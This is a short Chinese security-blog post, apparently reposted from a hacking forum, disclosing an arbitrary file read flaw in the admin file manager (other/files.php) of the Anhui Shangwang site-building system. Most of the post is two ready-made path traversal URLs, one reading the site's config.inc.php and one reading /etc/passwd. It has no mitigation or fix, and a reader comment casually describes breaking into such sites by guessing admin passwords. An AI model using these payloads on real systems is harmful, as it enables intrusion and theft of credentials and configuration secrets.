安徽商网建站系统任意文件读取漏洞

  • A+
所属分类:lcx

漏洞文件在后台的文件管理:other/files.php

读取配置文件

http://www.xxx.com/admin/other/files.php?edit=../../config.inc.php&copt=2

读取linux系统的帐号信息

http://www.xxx.com/admin/other/files.php?edit=../../../../../etc/passwd&copt=2

漏洞证明:

安徽商网建站系统任意文件读取漏洞

安徽商网建站系统任意文件读取漏洞

摘自:http://www.90sec.org/viewthread.php?tid=3035&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

留言评论(旧系统):

【匿名者】 @ 2012-07-14 18:19:58

以前日站的看到过,后台密码不知道什么加密,反正乱猜进去过,,

本站回复:

额…… ╮(╯_╰)╭

文章来源于lcx.cc:安徽商网建站系统任意文件读取漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: